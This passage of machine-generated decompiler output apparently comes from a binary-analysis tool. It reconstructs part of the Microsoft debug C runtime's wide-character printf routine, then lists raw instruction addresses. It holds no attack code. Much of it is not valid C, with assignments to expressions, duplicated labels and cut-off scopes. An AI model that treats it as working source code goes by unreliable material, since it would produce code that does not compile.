													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43ca60; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043CA24))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE60(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xf86dff92
															E004246D0(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xa86dfc78
																	E004246D0(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0x886dfc7f
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428370(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AE60(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE60(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00428370(__ebp + 0x14);
													__eax = E00433F20();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E390();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
														__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AE30(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428370(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E0041AE60(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431230( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E004307A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L0041E390();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E80(_t543))) = 0x16;
										E00422C10(_t534, _t543, _t594, _t595, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E0041AE30(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E0042BCD0(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L0041E390();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E0041AE30(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422E80(_t535))) = 0x16;
									E00422C10(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E0041AE30(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0x440f80; // 0x404448
					 *(_t596 - 4) = _t567;
					_t484 = E0041DE30( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x0043bf34
0x0043bf34
0x0043bf34
0x0043bf34
0x0043bf34
0x0043bf34
0x0043bf38
0x0043bf3d
0x0043bf40
0x0043bf4d
0x00000000
0x00000000
0x0043bf4f
0x0043bf4f
0x0043bf59
0x0043bf78
0x0043bf7e
0x0043bfa6
0x0043bfad
0x0043bfb3
0x0043bfb6
0x0043bfb9
0x0043bfbf
0x0043bfc2
0x0043bf80
0x0043bf80
0x0043bf86
0x0043bf89
0x0043bf8c
0x0043bf92
0x0043bf95
0x0043bf98
0x0043bf9a
0x0043bf9d
0x0043bf9d
0x0043bfc5
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x0043c6ca
0x0043c6d0
0x0043c6da
0x0043c6f4
0x0043c70e
0x0043c715
0x0043c719
0x0043c719
0x0043c6f6
0x0043c6fb
0x0043c6ff
0x0043c6ff
0x0043c6dc
0x0043c6e1
0x0043c6e5
0x0043c6e5
0x0043c6da
0x0043c729
0x0043c735
0x0043c74b
0x0043c750
0x0043c750
0x0043c766
0x0043c76b
0x0043c774
0x0043c77c
0x0043c792
0x0043c797
0x0043c797
0x0043c77c
0x0043c79e
0x0043c858
0x0043c86b
0x0043c870
0x00000000
0x0043c7a4
0x0043c7a4
0x0043c7a8
0x00000000
0x00000000
0x0043c7ae
0x0043c7b1
0x0043c7ba
0x0043c7c0
0x0043c7c0
0x0043c7cf
0x0043c7d7
0x00000000
0x00000000
0x0043c7d9
0x0043c7dc
0x0043c801
0x0043c806
0x0043c809
0x0043c816
0x0043c824
0x0043c837
0x0043c83c
0x0043c84b
0x00000000
0x0043c84b
0x0043c818
0x0043c818
0x00000000
0x0043c818
0x0043c856
0x0043c873
0x0043c87a
0x0043c882
0x0043c898
0x0043c89d
0x0043c89d
0x0043c882
0x0043c87a
0x0043c8a0
0x0043c8a4
0x0043c8ac
0x0043c8b1
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8bb
0x0043ba3b
0x0043ba42
0x0043ba4f
0x0043ba54
0x00000000
0x0043ba67
0x0043ba71
0x0043ba98
0x0043ba7f
0x0043ba90
0x0043ba90
0x0043ba71
0x0043baa2
0x0043baa8
0x0043bab4
0x0043bab7
0x0043bac5
0x0043bac8
0x0043bad5
0x0043bb7a
0x0043bb80
0x0043bb8d
0x00000000
0x00000000
0x0043bb93
0x0043bb99
0x00000000
0x0043bba0
0x0043bba0
0x0043bbba
0x0043bbbf
0x00000000
0x00000000
0x0043bbc7
0x0043bbc7
0x0043bbce
0x0043bbd1
0x0043bbd4
0x0043bbd7
0x0043bbda
0x0043bbdd
0x0043bbe0
0x0043bbe7
0x0043bbee
0x00000000
0x00000000
0x0043bbfa
0x0043bbfa
0x0043bc01
0x0043bc0d
0x0043bc10
0x0043bc16
0x0043bc1d
0x00000000
0x00000000
0x0043bc1f
0x0043bc25
0x0043bc25
0x0043bc2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc70
